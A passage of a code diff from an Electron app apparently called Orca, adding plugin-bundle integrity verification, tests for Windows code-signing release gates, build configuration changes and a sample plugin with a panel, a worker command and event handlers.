throw new Error(`packaged plugin contains an unsupported entry: ${entryPath}`)
|
||||
}
|
||||
}
|
||||
}
|
||||
visit(root)
|
||||
const hash = createHash('sha256').update('orca-plugin-tree-v1\0')
|
||||
for (const file of files) {
|
||||
const relativePath = relative(root, file.path).replaceAll('\\', '/')
|
||||
hashLength(hash, Buffer.byteLength(relativePath, 'utf8'))
|
||||
hash.update(relativePath, 'utf8')
|
||||
hashLength(hash, file.size)
|
||||
hash.update(readFileSync(file.path))
|
||||
}
|
||||
return hash.digest('hex')
|
||||
}
|
||||
|
||||
function readJsonFile(path, label) {
|
||||
try {
|
||||
return JSON.parse(readFileSync(path, 'utf8'))
|
||||
} catch (error) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] invalid ${label} at ${path}: ${error instanceof Error ? error.message : String(error)}`
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
function verifyPackagedPluginResources(resourcesDir) {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
if (!statSync(launchRoot).isDirectory()) {
|
||||
throw new Error(`[verify-packaged-plugin-resources] missing launch directory at ${launchRoot}`)
|
||||
}
|
||||
const index = readJsonFile(join(launchRoot, 'bundled-plugins.json'), 'bundled plugin index')
|
||||
readJsonFile(join(launchRoot, 'orca-marketplace.json'), 'marketplace index')
|
||||
if (index?.version !== 1 || !Array.isArray(index.plugins) || index.plugins.length === 0) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin index is empty or invalid')
|
||||
}
|
||||
const resolvedRoot = resolve(launchRoot)
|
||||
for (const entry of index.plugins) {
|
||||
if (
|
||||
typeof entry?.pluginKey !== 'string' ||
|
||||
typeof entry.path !== 'string' ||
|
||||
!/^[0-9a-f]{64}$/.test(entry.contentHash)
|
||||
) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin entry is invalid')
|
||||
}
|
||||
const pluginRoot = resolve(launchRoot, entry.path)
|
||||
const fromRoot = relative(resolvedRoot, pluginRoot)
|
||||
if (!fromRoot || fromRoot === '..' || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot)) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin path escapes launch root')
|
||||
}
|
||||
const manifest = readJsonFile(join(pluginRoot, 'orca-plugin.json'), 'plugin manifest')
|
||||
if (`${manifest.publisher}.${manifest.id}` !== entry.pluginKey) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] manifest identity does not match ${entry.pluginKey}`
|
||||
)
|
||||
}
|
||||
if (hashPackagedPluginTree(pluginRoot) !== entry.contentHash) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] packaged bytes do not match ${entry.pluginKey}`
|
||||
)
|
||||
}
|
||||
}
|
||||
console.log(
|
||||
`[verify-packaged-plugin-resources] OK — verified ${index.plugins.length} bundled plugin(s)`
|
||||
)
|
||||
}
|
||||
|
||||
module.exports = { verifyPackagedPluginResources }
|
||||
@@ -0,0 +1,77 @@
|
||||
import { cp, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { createRequire } from 'node:module'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
const { verifyPackagedPluginResources } = require('./verify-packaged-plugin-resources.cjs')
|
||||
|
||||
describe('verify packaged plugin resources', () => {
|
||||
it('accepts exact launch bytes copied into a packaged resources directory', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
await cp(
|
||||
join(process.cwd(), 'resources', 'plugins', 'launch'),
|
||||
join(resourcesDir, 'plugins', 'launch'),
|
||||
{ recursive: true }
|
||||
)
|
||||
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).not.toThrow()
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects mutated bytes in the packaged output', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
|
||||
recursive: true
|
||||
})
|
||||
await writeFile(
|
||||
join(launchRoot, 'stablyai.orca-navigation-shortcuts', 'extra.json'),
|
||||
'{"mutated":true}\n'
|
||||
)
|
||||
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
|
||||
'packaged bytes do not match stablyai.orca-navigation-shortcuts'
|
||||
)
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
// The tree is hashed by raw bytes, so a CRLF checkout on Windows breaks the
|
||||
// pinned hash. These two guard the `.gitattributes` eol=lf pin that prevents it.
|
||||
it('pins the launch tree to LF so Windows checkouts hash identically', async () => {
|
||||
const attributes = await readFile(join(process.cwd(), '.gitattributes'), 'utf8')
|
||||
expect(attributes).toContain('/resources/plugins/** text eol=lf')
|
||||
})
|
||||
|
||||
it('rejects a CRLF checkout of the launch tree', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
|
||||
recursive: true
|
||||
})
|
||||
for (const entry of await readdir(launchRoot, { recursive: true })) {
|
||||
const path = join(launchRoot, entry)
|
||||
if (!(await stat(path)).isFile()) {
|
||||
continue
|
||||
}
|
||||
await writeFile(path, (await readFile(path, 'utf8')).replace(/\r?\n/g, '\r\n'))
|
||||
}
|
||||
|
||||
// Every file is rewritten, so the first mismatch is whichever plugin sorts
|
||||
// first — don't pin a name a later branch can reorder.
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
|
||||
/packaged bytes do not match stablyai\./
|
||||
)
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,306 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { join, resolve } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
// Why: the inner-binary signing gate silently degraded for four releases because it
|
||||
// shelled out to a hardcoded `node_modules/7zip-bin/...` path that electron-builder
|
||||
// 26.9+ no longer installs. Pin both workflows to the resolver instead (#6487).
|
||||
|
||||
const workflowsDir = resolve(import.meta.dirname, '../..', '.github', 'workflows')
|
||||
|
||||
const GATED_WORKFLOWS = ['release-cut.yml', 'windows-signing-rehearsal.yml']
|
||||
|
||||
function workflowSource(name) {
|
||||
return readFileSync(join(workflowsDir, name), 'utf8')
|
||||
}
|
||||
|
||||
// Why a scanner and not a regex: PowerShell gates here contain braces inside
|
||||
// strings (`"{0,-14} {1} <{2}>" -f ...`) and inside comments, so naive brace
|
||||
// counting mis-pairs and every scope assertion below silently degrades into
|
||||
// "some text appears somewhere in the file". The same walk also lets assertions
|
||||
// distinguish a keyword the shell executes from the same word sitting in a
|
||||
// message string — downgrading `throw` to `Write-Host "...would throw..."`
|
||||
// otherwise passes a `/\bthrow\b/` check while restoring the silent fail-open.
|
||||
|
||||
/** `source` split into `{start, end, kind}` spans, kind being 'code' | 'string' | 'comment'. */
|
||||
function scanSpans(source) {
|
||||
// Here-strings use different terminator rules; refusing them beats mis-pairing silently.
|
||||
expect(source, 'here-strings are not understood by this scanner').not.toMatch(/@['"]/)
|
||||
const spans = []
|
||||
let i = 0
|
||||
while (i < source.length) {
|
||||
const char = source[i]
|
||||
if (char === '#') {
|
||||
const newline = source.indexOf('\n', i)
|
||||
const end = newline === -1 ? source.length : newline
|
||||
spans.push({ start: i, end, kind: 'comment' })
|
||||
i = end
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
let end = i + 1
|
||||
while (end < source.length) {
|
||||
if (source[end] !== "'") {
|
||||
end += 1
|
||||
} else if (source[end + 1] === "'") {
|
||||
end += 2 // doubled '' escapes a quote rather than closing the string
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
end = Math.min(end + 1, source.length)
|
||||
spans.push({ start: i, end, kind: 'string' })
|
||||
i = end
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
let end = i + 1
|
||||
while (end < source.length && source[end] !== '"') {
|
||||
end += source[end] === '`' ? 2 : 1
|
||||
}
|
||||
end = Math.min(end + 1, source.length)
|
||||
spans.push({ start: i, end, kind: 'string' })
|
||||
i = end
|
||||
continue
|
||||
}
|
||||
let end = i
|
||||
while (end < source.length && !'#\'"'.includes(source[end])) {
|
||||
end += 1
|
||||
}
|
||||
spans.push({ start: i, end, kind: 'code' })
|
||||
i = end
|
||||
}
|
||||
return spans
|
||||
}
|
||||
|
||||
/** `source` with the named span kinds blanked to spaces — same length, so indices still line up. */
|
||||
function blank(source, spans, kinds) {
|
||||
const chars = source.split('')
|
||||
for (const span of spans) {
|
||||
if (!kinds.includes(span.kind)) {
|
||||
continue
|
||||
}
|
||||
for (let i = span.start; i < span.end; i += 1) {
|
||||
if (chars[i] !== '\n') {
|
||||
chars[i] = ' '
|
||||
}
|
||||
}
|
||||
}
|
||||
return chars.join('')
|
||||
}
|
||||
|
||||
/** `source` with comments blanked — for assertions whose subject is a literal the gate prints. */
|
||||
function withoutComments(source) {
|
||||
return blank(source, scanSpans(source), ['comment'])
|
||||
}
|
||||
|
||||
/** `source` with strings and comments blanked — for assertions about executed statements. */
|
||||
function codeOf(source) {
|
||||
return blank(source, scanSpans(source), ['string', 'comment'])
|
||||
}
|
||||
|
||||
/**
|
||||
* The `{ ... }` block opening after `marker`. `code` has strings and comments blanked, so a
|
||||
* keyword assertion against it can only be satisfied by a keyword the shell would execute;
|
||||
* `text` keeps strings but drops comments, for assertions about literals the gate emits.
|
||||
*/
|
||||
function blockAfter(source, marker, from = 0) {
|
||||
const spans = scanSpans(source)
|
||||
const code = blank(source, spans, ['string', 'comment'])
|
||||
const markerIndex = code.indexOf(marker, from)
|
||||
expect(markerIndex, `missing marker: ${marker}`).toBeGreaterThan(-1)
|
||||
const start = code.indexOf('{', markerIndex)
|
||||
expect(start, `no block opens after: ${marker}`).toBeGreaterThan(-1)
|
||||
let depth = 0
|
||||
let end = -1
|
||||
for (let i = start; i < source.length && end === -1; i += 1) {
|
||||
if (code[i] === '{') {
|
||||
depth += 1
|
||||
} else if (code[i] === '}') {
|
||||
depth -= 1
|
||||
if (depth === 0) {
|
||||
end = i
|
||||
}
|
||||
}
|
||||
}
|
||||
expect(end, `unbalanced block after: ${marker}`).toBeGreaterThan(-1)
|
||||
return {
|
||||
start,
|
||||
end,
|
||||
code: code.slice(start, end + 1),
|
||||
text: blank(source, spans, ['comment']).slice(start, end + 1)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The innermost `{ ... }` block enclosing `marker`, plus the keyword introducing it.
|
||||
* Needed where the anchor is the block's *contents*: `blockAfter(step, '} catch {')` picks
|
||||
* whichever catch comes first in the file, which stopped being the gate's own once the
|
||||
* persistence helpers grew their own try/catch.
|
||||
*/
|
||||
function blockEnclosing(source, marker) {
|
||||
const spans = scanSpans(source)
|
||||
const code = blank(source, spans, ['string', 'comment'])
|
||||
// Located in the comment-stripped text (the marker may include a string literal),
|
||||
// then paired in `code`; both blankings preserve length, so indices line up.
|
||||
const markerIndex = blank(source, spans, ['comment']).indexOf(marker)
|
||||
expect(markerIndex, `missing marker: ${marker}`).toBeGreaterThan(-1)
|
||||
let depth = 0
|
||||
let end = -1
|
||||
for (let i = markerIndex; i < code.length && end === -1; i += 1) {
|
||||
if (code[i] === '{') {
|
||||
depth += 1
|
||||
} else if (code[i] === '}') {
|
||||
if (depth === 0) {
|
||||
end = i
|
||||
} else {
|
||||
depth -= 1
|
||||
}
|
||||
}
|
||||
}
|
||||
depth = 0
|
||||
let start = -1
|
||||
for (let i = markerIndex; i >= 0 && start === -1; i -= 1) {
|
||||
if (code[i] === '}') {
|
||||
depth += 1
|
||||
} else if (code[i] === '{') {
|
||||
if (depth === 0) {
|
||||
start = i
|
||||
} else {
|
||||
depth -= 1
|
||||
}
|
||||
}
|
||||
}
|
||||
expect(start, `no block encloses: ${marker}`).toBeGreaterThan(-1)
|
||||
expect(end, `no block encloses: ${marker}`).toBeGreaterThan(-1)
|
||||
return { start, end, keyword: code.slice(0, start).trimEnd().split(/\s+/).pop() }
|
||||
}
|
||||
|
||||
describe('Windows signing gates resolve 7za through the toolset resolver (#6487)', () => {
|
||||
for (const name of GATED_WORKFLOWS) {
|
||||
it(`${name} does not hardcode the removed 7zip-bin path`, () => {
|
||||
expect(workflowSource(name)).not.toContain('node_modules/7zip-bin')
|
||||
})
|
||||
|
||||
it(`${name} resolves 7za via resolve-7za-path.mjs`, () => {
|
||||
expect(workflowSource(name)).toContain('node config/scripts/resolve-7za-path.mjs')
|
||||
})
|
||||
|
||||
it(`${name} checks resolver failure before trimming its output`, () => {
|
||||
const source = workflowSource(name)
|
||||
const code = codeOf(source)
|
||||
const resolveIndex = code.indexOf('$7zaOutput = node config/scripts/resolve-7za-path.mjs')
|
||||
const exitCodeIndex = code.indexOf('$7zaExitCode = $LASTEXITCODE')
|
||||
const exitGuard = blockAfter(source, 'if ($7zaExitCode -ne 0)')
|
||||
const trimIndex = code.indexOf('$7za = ($7zaOutput | Out-String).Trim()')
|
||||
|
||||
expect(resolveIndex).toBeGreaterThan(-1)
|
||||
expect(exitCodeIndex).toBeGreaterThan(resolveIndex)
|
||||
expect(exitGuard.start).toBeGreaterThan(exitCodeIndex)
|
||||
expect(exitGuard.code).toMatch(/\bthrow\b/)
|
||||
expect(trimIndex).toBeGreaterThan(exitGuard.end)
|
||||
})
|
||||
|
||||
it(`${name} rejects an empty or non-file 7za path`, () => {
|
||||
const source = workflowSource(name)
|
||||
const guard = blockAfter(
|
||||
source,
|
||||
'if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf))'
|
||||
)
|
||||
expect(guard.code).toMatch(/\bthrow\b/)
|
||||
})
|
||||
}
|
||||
|
||||
// Why sliced to one step: release-cut.yml runs several PowerShell gates that
|
||||
// share idioms (`$failures`, `} catch {`), so a whole-file search silently
|
||||
// asserts against the wrong block.
|
||||
function innerBinaryStep() {
|
||||
const source = workflowSource('release-cut.yml')
|
||||
const start = source.indexOf('- name: Verify Windows inner binary signatures')
|
||||
expect(start).toBeGreaterThan(-1)
|
||||
const end = source.indexOf('\n - name:', start + 1)
|
||||
expect(end).toBeGreaterThan(start)
|
||||
return source.slice(start, end)
|
||||
}
|
||||
|
||||
// Why parse the function body rather than grep the file: asserting that the
|
||||
// string 'Write-GateVerdict' appears somewhere passes even if the body is
|
||||
// gutted to a Write-Host, which is exactly the silent degradation this gate
|
||||
// exists to prevent.
|
||||
function gateVerdictBlock() {
|
||||
return blockAfter(innerBinaryStep(), 'function Write-GateVerdict')
|
||||
}
|
||||
|
||||
it('persists the verdict to the evidence file the artifact upload collects', () => {
|
||||
const block = gateVerdictBlock()
|
||||
expect(block.text).toMatch(/Set-Content\s+-Path\s+'inner-signing-evidence\.txt'/)
|
||||
expect(block.code).toContain('Add-GateSummary')
|
||||
})
|
||||
|
||||
// Why cross-checked: the upload is `if-no-files-found: ignore`, so renaming the
|
||||
// evidence file on one side and not the other ships a green run with an artifact
|
||||
// that silently omits the verdict — the same class as the bug this PR fixes.
|
||||
it('uploads the exact evidence filename the gate writes', () => {
|
||||
const source = workflowSource('release-cut.yml')
|
||||
const uploadStart = source.indexOf('- name: Upload Windows inner signing evidence')
|
||||
expect(uploadStart).toBeGreaterThan(-1)
|
||||
const uploadEnd = source.indexOf('\n - name:', uploadStart + 1)
|
||||
expect(uploadEnd).toBeGreaterThan(uploadStart)
|
||||
const upload = source.slice(uploadStart, uploadEnd)
|
||||
|
||||
const step = innerBinaryStep()
|
||||
const written = new Set(
|
||||
[...withoutComments(step).matchAll(/-Path\s+'([\w.-]+\.txt)'/g)].map((m) => m[1])
|
||||
)
|
||||
expect(written.size).toBeGreaterThan(0)
|
||||
for (const file of written) {
|
||||
expect(upload, `${file} is written by the gate but never uploaded`).toContain(file)
|
||||
}
|
||||
})
|
||||
|
||||
it('never lets verdict persistence itself fail a warn-only release', () => {
|
||||
// Every persistence helper is best-effort: a disk-full or read-only runner
|
||||
// must not turn evidence-writing into the thing that fails the release.
|
||||
const step = innerBinaryStep()
|
||||
for (const helper of ['function Add-GateEvidence', 'function Add-GateSummary']) {
|
||||
const code = blockAfter(step, helper).code
|
||||
expect(code, helper).toContain('-ErrorAction Stop')
|
||||
expect(code, helper).toMatch(/\bcatch\b/)
|
||||
}
|
||||
expect(gateVerdictBlock().code).toMatch(/\bcatch\b/)
|
||||
})
|
||||
|
||||
it('records a verdict on every terminal branch of the gate', () => {
|
||||
// Comments stripped: a `# VERDICT: PASSED` note must not stand in for the write.
|
||||
const step = withoutComments(innerBinaryStep())
|
||||
for (const verdict of ['NOT VERIFIED', 'ERRORED', 'VERDICT: FAILED', 'VERDICT: PASSED']) {
|
||||
expect(step).toContain(verdict)
|
||||
}
|
||||
})
|
||||
|
||||
it('throws a required-mode signature failure outside the catch that would mask it', () => {
|
||||
// Why: throwing inside `try` re-enters the catch, whose Set-Content
|
||||
// replaces the per-file report with "ERRORED — <exception>".
|
||||
const step = innerBinaryStep()
|
||||
const policyThrow = codeOf(step).indexOf('if ($policyFailure) { throw $policyFailure }')
|
||||
expect(policyThrow).toBeGreaterThan(-1)
|
||||
// Anchored on the gate's own handler, not the first `catch` in the step: the
|
||||
// persistence helpers have their own, and they sit earlier in the file.
|
||||
const gateCatch = blockEnclosing(step, 'Write-GateVerdict "ERRORED')
|
||||
expect(gateCatch.keyword).toBe('catch')
|
||||
expect(policyThrow).toBeGreaterThan(gateCatch.end)
|
||||
})
|
||||
|
||||
// Why: the assignment is what survives a write failure. With it after the
|
||||
// evidence/summary writes, a throwing Add-Content lands in the catch with
|
||||
// $policyFailure still null — required mode reports ERRORED and overwrites the
|
||||
// per-file report, reintroducing exactly the loss the hoist prevents.
|
||||
it('records the required-mode failure before attempting any evidence write', () => {
|
||||
const branch = blockAfter(innerBinaryStep(), 'if ($failures.Count -gt 0)').code
|
||||
const assignment = branch.indexOf('$policyFailure = $message')
|
||||
expect(assignment).toBeGreaterThan(-1)
|
||||
for (const write of ['Add-GateEvidence', 'Add-GateSummary']) {
|
||||
expect(branch.indexOf(write), write).toBeGreaterThan(assignment)
|
||||
}
|
||||
})
|
||||
})
|
||||
@@ -1,5 +1,5 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="106" height="20" role="img" aria-label="downloads: 10m">
|
||||
<title>downloads: 10m</title>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="106" height="20" role="img" aria-label="downloads: 11m">
|
||||
<title>downloads: 11m</title>
|
||||
<linearGradient id="s" x2="0" y2="100%">
|
||||
<stop offset="0" stop-color="#bbb" stop-opacity=".1"/>
|
||||
<stop offset="1" stop-opacity=".1"/>
|
||||
@@ -15,7 +15,7 @@
|
||||
<g fill="#fff" text-anchor="middle" font-family="Verdana,Geneva,DejaVu Sans,sans-serif" text-rendering="geometricPrecision" font-size="11">
|
||||
<text x="37" y="15" fill="#010101" fill-opacity=".3">downloads</text>
|
||||
<text x="37" y="14">downloads</text>
|
||||
<text x="90" y="15" fill="#010101" fill-opacity=".3">10m</text>
|
||||
<text x="90" y="14">10m</text>
|
||||
<text x="90" y="15" fill="#010101" fill-opacity=".3">11m</text>
|
||||
<text x="90" y="14">11m</text>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
|
Before Width: | Height: | Size: 935 B After Width: | Height: | Size: 935 B |
File diff suppressed because it is too large
Load Diff
+40
-4
@@ -1,8 +1,24 @@
|
||||
import { isBuiltin } from 'node:module'
|
||||
import { resolve } from 'node:path'
|
||||
import { defineConfig } from 'electron-vite'
|
||||
import { defineConfig, type UserConfig } from 'electron-vite'
|
||||
import react from '@vitejs/plugin-react'
|
||||
import tailwindcss from '@tailwindcss/vite'
|
||||
import { createPlainNodeEntryGuardPlugin } from './build-plugins/plain-node-entry-guard'
|
||||
import packageJson from './package.json' with { type: 'json' }
|
||||
|
||||
const BUNDLED_MAIN_DEPENDENCIES = new Set(['@xterm/headless', '@xterm/addon-serialize'])
|
||||
const EXTERNAL_MAIN_DEPENDENCIES = Object.keys(packageJson.dependencies).filter(
|
||||
(dependency) => !BUNDLED_MAIN_DEPENDENCIES.has(dependency)
|
||||
)
|
||||
|
||||
function isExternalMainModule(source: string): boolean {
|
||||
if (isBuiltin(source) || source === 'electron' || source.startsWith('electron/')) {
|
||||
return true
|
||||
}
|
||||
return EXTERNAL_MAIN_DEPENDENCIES.some(
|
||||
(dependency) => source === dependency || source.startsWith(`${dependency}/`)
|
||||
)
|
||||
}
|
||||
|
||||
// Why: the telemetry transport is gated by two compile-time constants that
|
||||
// only the official CI release workflow sets. Contributor / `pnpm dev` /
|
||||
@@ -165,7 +181,7 @@ function createStartupDiagnosticsBootstrapPlugin() {
|
||||
}
|
||||
}
|
||||
|
||||
export default defineConfig({
|
||||
export const electronViteConfig: UserConfig = {
|
||||
main: {
|
||||
build: {
|
||||
// Why: daemon-entry.js is asar-unpacked so child_process.fork() can
|
||||
@@ -176,9 +192,13 @@ export default defineConfig({
|
||||
exclude: ['@xterm/headless', '@xterm/addon-serialize']
|
||||
},
|
||||
rollupOptions: {
|
||||
// Why: native dependencies must resolve from packaged node_modules,
|
||||
// while the unpacked daemon needs its pure-JS xterm graph bundled.
|
||||
external: isExternalMainModule,
|
||||
input: {
|
||||
index: resolve('src/main/index.ts'),
|
||||
'daemon-entry': resolve('src/main/daemon/daemon-entry.ts'),
|
||||
'plugin-host-entry': resolve('src/main/plugins/plugin-host-entry.ts'),
|
||||
'computer-sidecar': resolve('src/main/computer/sidecar-entry.ts'),
|
||||
'stt-worker': resolve('src/main/speech/stt-worker.ts'),
|
||||
'warp-theme-parser-worker': resolve('src/main/warp-themes/warp-theme-parser-worker.ts'),
|
||||
@@ -200,6 +220,13 @@ export default defineConfig({
|
||||
'src/main/agent-hooks/managed-agent-hook-controls.ts'
|
||||
)
|
||||
},
|
||||
// Why: Rolldown's SSR default is ESM, but Electron and sidecar launchers
|
||||
// consume these stable CommonJS paths.
|
||||
output: {
|
||||
format: 'cjs',
|
||||
entryFileNames: '[name].js',
|
||||
chunkFileNames: 'chunks/[name]-[hash].js'
|
||||
},
|
||||
plugins: [createStartupDiagnosticsBootstrapPlugin(), createPlainNodeEntryGuardPlugin()]
|
||||
}
|
||||
},
|
||||
@@ -241,17 +268,26 @@ export default defineConfig({
|
||||
format: 'es'
|
||||
},
|
||||
build: {
|
||||
manifest: true,
|
||||
modulePreload: { polyfill: true },
|
||||
target: 'es2020',
|
||||
// Why: the pop-out dashboard is a second top-level window with its own
|
||||
// React root. It gets its own HTML entry so it can boot independently of
|
||||
// the main window while reusing the same preload/window.api. `index` must
|
||||
// stay listed — overriding input otherwise drops electron-vite's default
|
||||
// renderer entry.
|
||||
rollupOptions: {
|
||||
// Why: shared chunks must never import an HTML entry whose module mounts
|
||||
// a different React root.
|
||||
preserveEntrySignatures: 'strict',
|
||||
input: {
|
||||
index: resolve('src/renderer/index.html'),
|
||||
popout: resolve('src/renderer/popout.html')
|
||||
popout: resolve('src/renderer/popout.html'),
|
||||
web: resolve('src/renderer/web-index.html')
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
export default defineConfig(electronViteConfig)
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
// Sample Orca plugin worker entry. Runs inside the out-of-process plugin
|
||||
// worker (plain Node, no Electron), forked lazily on the first trigger. The
|
||||
// default export receives the `orca` API: command registration, event
|
||||
// handlers, and the capability-gated host API.
|
||||
export default function activate(orca) {
|
||||
orca.commands.register('hello-ping', async (args) => {
|
||||
const stored = await orca.host.call('storage.get', { key: 'pings' })
|
||||
const count = (typeof stored?.value === 'number' ? stored.value : 0) + 1
|
||||
await orca.host.call('storage.set', { key: 'pings', value: count })
|
||||
return { pong: true, count, args: args ?? null }
|
||||
})
|
||||
|
||||
orca.events.on('worktree.created', async (payload) => {
|
||||
orca.log(`worktree created: ${payload.worktreeId} at ${payload.path}`)
|
||||
await orca.host.call('notifications.show', {
|
||||
title: 'Worktree created',
|
||||
body: payload.path
|
||||
})
|
||||
})
|
||||
|
||||
orca.events.on('agent.status.changed', (payload) => {
|
||||
orca.log(`agent status: ${payload.state} in ${payload.worktreeId ?? 'unknown worktree'}`)
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "hello-orca",
|
||||
"publisher": "orca-samples",
|
||||
"name": "Hello Orca",
|
||||
"version": "1.0.0",
|
||||
"description": "Sample plugin combining a sandboxed panel, a worker command, and event subscriptions.",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"main": "main.mjs",
|
||||
"contributes": {
|
||||
"panels": [{ "id": "hello", "title": "Hello Orca", "icon": "plug", "entry": "panel.html" }],
|
||||
"commands": [{ "id": "hello-ping", "title": "Hello: Ping" }],
|
||||
"events": [{ "on": "worktree.created" }, { "on": "agent.status.changed" }]
|
||||
},
|
||||
"capabilities": [
|
||||
{ "kind": "workspace:read" },
|
||||
{ "kind": "terminal:send" },
|
||||
{ "kind": "notifications:show" },
|
||||
{ "kind": "storage" },
|
||||
{ "kind": "events:subscribe" }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<style>
|
||||
/* The host injects Orca design tokens as CSS custom properties, so
|
||||
panels can match the app without any access to it. */
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 12px;
|
||||
font-family: system-ui, sans-serif;
|
||||
font-size: 13px;
|
||||
color: var(--foreground, #ddd);
|
||||
background: var(--background, transparent);
|
||||
}
|
||||
h1 {
|
||||
font-size: 14px;
|
||||
margin: 0 0 8px;
|
||||
}
|
||||
button {
|
||||
display: block;
|
||||
margin: 6px 0;
|
||||
padding: 6px 10px;
|
||||
border: 1px solid var(--border, #555);
|
||||
border-radius: 6px;
|
||||
background: var(--secondary, #2a2a2a);
|
||||
color: var(--foreground, #ddd);
|
||||
cursor: pointer;
|
||||
font: inherit;
|
||||
}
|
||||
select {
|
||||
margin: 6px 0;
|
||||
max-width: 100%;
|
||||
}
|
||||
.status {
|
||||
margin-top: 10px;
|
||||
min-height: 1.4em;
|
||||
color: var(--muted-foreground, #999);
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello Orca 👋</h1>
|
||||
<p>Panel + worker command + events, gated by consent.</p>
|
||||
<button id="ctx">Read workspace context</button>
|
||||
<select id="terms" hidden></select>
|
||||
<button id="send" hidden>Type "echo hi from plugin" into selected terminal</button>
|
||||
<button id="notify">Show a notification</button>
|
||||
<p class="status" id="status"></p>
|
||||
<script>
|
||||
'use strict'
|
||||
var seq = 0
|
||||
var pending = {}
|
||||
var statusEl = document.getElementById('status')
|
||||
var termsEl = document.getElementById('terms')
|
||||
|
||||
function call(action, params) {
|
||||
return new Promise(function (resolve) {
|
||||
var requestId = 'req-' + ++seq
|
||||
pending[requestId] = resolve
|
||||
// The panel frame is an opaque origin, so '*' is the only usable
|
||||
// targetOrigin; the host verifies the sending window instead.
|
||||
window.parent.postMessage(
|
||||
{ type: 'orca-panel-action', requestId: requestId, action: action, params: params },
|
||||
'*'
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
window.addEventListener('message', function (event) {
|
||||
var data = event.data
|
||||
if (!data || data.type !== 'orca-panel-action-result') return
|
||||
var resolve = pending[data.requestId]
|
||||
if (!resolve) return
|
||||
delete pending[data.requestId]
|
||||
resolve(data)
|
||||
})
|
||||
|
||||
document.getElementById('ctx').addEventListener('click', function () {
|
||||
call('workspace.readContext').then(function (result) {
|
||||
if (!result.ok) {
|
||||
statusEl.textContent = 'context failed: ' + (result.error || result.errorCode)
|
||||
return
|
||||
}
|
||||
if (!result.value) {
|
||||
statusEl.textContent = 'no focused worktree'
|
||||
return
|
||||
}
|
||||
statusEl.textContent = result.value.displayName + ' on branch ' + result.value.branch
|
||||
termsEl.innerHTML = ''
|
||||
result.value.terminals.forEach(function (terminal) {
|
||||
var option = document.createElement('option')
|
||||
option.value = terminal.id
|
||||
option.textContent = terminal.id
|
||||
termsEl.appendChild(option)
|
||||
})
|
||||
termsEl.hidden = result.value.terminals.length === 0
|
||||
document.getElementById('send').hidden = result.value.terminals.length === 0
|
||||
})
|
||||
})
|
||||
|
||||
document.getElementById('send').addEventListener('click', function () {
|
||||
// Explicit terminal id — the API has no "active terminal" target.
|
||||
call('terminal.sendText', {
|
||||
terminalId: termsEl.value,
|
||||
text: 'echo hi from plugin',
|
||||
enter: true
|
||||
}).then(function (result) {
|
||||
statusEl.textContent = result.ok
|
||||
? 'typed (accepted=' + result.value.accepted + ')'
|
||||
: 'send failed: ' + (result.error || result.errorCode)
|
||||
})
|
||||
})
|
||||
|
||||
document.getElementById('notify').addEventListener('click', function () {
|
||||
call('notifications.show', { title: 'Hello from the panel' }).then(function (result) {
|
||||
statusEl.textContent = result.ok
|
||||
? 'notification delivered=' + result.value.delivered
|
||||
: 'notify failed: ' + (result.error || result.errorCode)
|
||||
})
|
